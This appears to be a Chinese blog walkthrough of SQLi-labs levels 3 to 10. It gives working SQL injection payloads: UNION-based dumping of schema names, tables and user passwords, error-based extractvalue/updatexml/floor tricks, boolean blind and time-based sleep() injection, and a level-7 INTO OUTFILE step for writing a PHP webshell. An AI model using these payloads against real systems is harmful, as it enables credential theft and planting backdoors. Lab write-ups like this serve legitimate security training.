首页 > 数据库 >SQL_lab总结1-10关

SQL_lab总结1-10关

时间:2023-05-24 16:45:08浏览次数:50  
标签:10 database 0x7e lab --+ SQL id concat schema

第三关字符型注入测试

判断字段数

?id=1') and 1=1 order by 1 --+

image-20230318214415765

?id=1') and 1=1 order by 4 --+

image-20230318214504118

回显库名

?id=-1') union select 1,version(),database()--+

image-20230318215024935

or

爆破数据库

?id=-1%27)%20union%20select%201,version(),group_concat(schema_name) from information_schema.schemata--+

image-20230318215815467

爆破表名

?id=-1%27)%20union%20select%201,version(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

image-20230318220028295

爆破列名

?id=-1%27)%20union%20select%201,version(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name ='users'--+

image-20230318221222690

查询表中数据

?id=-1%27)%20union%20select%201,version(),group_concat(username,0x7e,password)%20from users--+

image-20230318221507725

第四关字符注入

同样的判断但是此次闭合的是")

image-20230319000242223

探库

image-20230319000354793

image-20230319000537945

剩下差不多

第五关

只有youarein 的回显

?id=1

image-20230319000625234

?id=1 and 1=2

image-20230319000707364

尝试闭合字符型

image-20230319001252137

?id=1') and 1=1 order by 1 --+

image-20230319002027744

但是报错有回显

image-20230319002126339

但条件错误没有回显

image-20230319002251148

所以可以使用报错注入,布尔盲注过于复杂

报错常用的三个函数, extractvalue(),updatexml(),floor(),还有exp(),演示前三个

  1. 用extractvalue函数进行报错注入。

?id=1' and或or extractvalue(1,concat(0x7e,database()或(select database()),0x7e)) --+

image-20230319005049265

更改concat中的第二个参数来获取想要的内容

如爆破数据库表

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e))--+

group-concat()函数可能放不下所有内容,可以采用截取或者limit函数读取

爆破数据内容

?id=1' or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))--+

2.用updatexml()函数进行报错注入

爆破数据库

?id=1' or/and updatexml(1,concat(0x7e,database()/(select database()),0x7e),1)--+

image-20230319005742864

还是更换第二个参数,不过要记得用括号包裹

例如爆破数据库表

?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

3.通floor()函数进行报错注入,前提需要知道有多少字段数

爆破数据库

?id=-1' union select 1,count(),concat(0x7e,(database()),0x7e,floor(rand(0)2))x

from information_schema.tables group by x--+

(database())可换成要查询的字段

第六关和第五关的区别是闭合方式为"

第七关

image-20230319011710259

回显有提示 outfile

读取文件 load_file(文件的路径)

写入文件into outfile(),into_dumpfile()

image-20230319014649163

能试出来闭合为"))但是我偷懒了没戳

image-20230319015515712

字段数量一样猜解

关键步骤写入木马

?id=1')) and 1=2 union select 1,2,""%20 into outfile "X:\xx\xx\xx\xx\shell.php"--+

写完然后蚁剑进攻

为了防止电脑出现后门就不进行实际操作了

第八关

之前若1=2 则会报错显示但此关没有错误回显

错误就啥也没有了

image-20230319020320467

image-20230319020238955

image-20230319023918497

通过报错与否来判定字段长度

image-20230319023956620

image-20230319024011307

判断数据库名长度

?id=-1' or length(database()) = 8 --+

image-20230319024259685

image-20230319024313214

逐个猜测数据库名

逐一猜解数据库

?id=-1' or ascii(substr(database(),1,1))=115--+

或者

?id=-1' or ascii(mid(database(),1,1))=115--+

或者

?id=-1' or mid(database(),1,1)='s'--+

image-20230319024558911

image-20230319024620594

按照相同的方法猜解数据表的名字和字段内容

?id=-1' or ascii(mid(select (table_name) from information_schema.tables where table_schema=database() limit 1,1))=?--+

第九关延时注入

为啥延时注入,它怎么都不动,简直一模一样

额闭合是源码找到的

?id=1' and if(length(database())=8,1,sleep(5))--+

成立则直接返回,不成立则睡眠五秒

猜解数据库名称

?id=-1' or if(ascii(mid(database(),1,1))<=135,sleep(5),0)--+

相同的方式猜解数据表数据字段

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是e,...依次类推,得到emails 二分法更快

?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测users表的第一个列的第一个字符是i,

?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

猜测username的第一行的第一位

以此类推,我们得到数据库username,password的所有内容

第十关和第九关相同的延时注入但是闭合为"

标签:10,database,0x7e,lab,--+,SQL,id,concat,schema
From: https://www.cnblogs.com/vaneshadow/p/17428804.html

相关文章

  • XSS-labs总结2
    level11从前端源代码看依然存在隐藏表单还是先去看源代码先获得请求头的Refererer然后过滤了尖括号后输出在了value处,我们还是闭合value然后使用on....值进行alert弹窗网上说这个t_refer的值的变化会在前端显示但是我没有显示hidden隐藏了表单,str与str00都被做了转义,可以......
  • XSS-labs总结1
    XSS-labslevel1先查看一下源代码由此可见并没有任何的过滤措施,直接输入关于name的参数作为payload即可弹窗成功level2再去看源代码由此可见在获取keyword的值之后有两次输出,一次被.htmlspecialchars()所过滤,但第二次在表单input输出并没有进行过滤操作,由此我们可以通......
  • ASEMI代理长电可控硅MCR100-8特征,MCR100-8应用
    编辑-Z长电可控硅MCR100-8参数:型号:MCR100-8VDRM/VRRM:600VIT(RMS):0.8A结点温度Tj:-40~125℃储存温度Tstg:-55~150℃通态电压VTM:1.7V栅极触发电压VGT:0.8V正向或反向阻断电流峰值:10µA保持电流IH:5mA栅极触发电流IGT:15µA  MCR100-8封装规格:封装:TO-92总长度:19.2mm......
  • sql
    SELECTcount(aa.sex)from(selectDISTINCT*FROMswheresex='女')asaa;selectaa.subject,AVG(aa.score)FROM(SELECT*fromswheresex='女')asaaGROUPBYsubject;select*FROMsLEFTJOINstudent_classons.s_id=student_class.s_i......
  • SQL Server 版本推荐
    数据库尽量与windowsserver版本匹配,例如:windowsserver2016就装sqlserver2016;windowsserver2019就装sqlserver2019;----------------------------------------------------------------------------------------------------补丁包请更新到最新SQL2016最新补丁包为S......
  • sshpass报错 Permission denied, please try again.和 connect to host localhost po
    最近在做自动化时,自动化脚本用sshpass给远程机器发送命令(sshpass-p"123456"ssh-p10022root@localhost-oStrictHostKeyChecking=no"poweroff")报错:Permissiondenied,pleasetryagain.和 ssh:connecttohostlocalhostport10022:Connectionrefused   1.......
  • Windows10 无法更新密码。为新密码提供的值不符合字符域的长度、复杂性或历史要求
    域账号死活无法修改密码,说要求不足,可是AD域几乎不限制密码条件。Ctrl+Alt+Del改自己管理员密码唯一找到的解决方法:只有在勾选"下次变更密码"时使用者换密码系统才会认定符合複杂度要求,这样操作可以正常修改密码    ......
  • 每日打卡1057
    给定一串长度不超过 105 的字符串,本题要求你将其中所有英文字母的序号(字母a-z对应序号1-26,不分大小写)相加,得到整数N,然后再分析一下N的二进制表示中有多少0、多少1。例如给定字符串 PAT(Basic),其字母序号之和为:16+1+20+2+1+19+9+3=71,而71的二进制是1000111,即有3个......
  • 基于LSTM网络的时间序列数据预测matlab性能仿真
    1.算法仿真效果matlab2022a仿真结果如下:   2.算法涉及理论知识概要     长短期记忆网络(LSTM,LongShort-TermMemory)是一种时间循环神经网络,是为了解决一般的RNN(循环神经网络)存在的长期依赖问题而专门设计出来的,所有的RNN都具有一种重复神经网络模块的链式形式。在......
  • git指令连接库失败:OpenSSL SSL_read: Connection was reset, errno 10054
    一、问题描述无论是gitclone还是gitpush之类的需要连接库的指令都会出现`fatal:unabletoaccess'http://github.com/我的库/':OpenSSLSSL_read:Connectionwasreset,errno10054`报错原因:字面意思:服务器的SSL证书灭有经过第三方机构的签署。网上信息也有的说可能......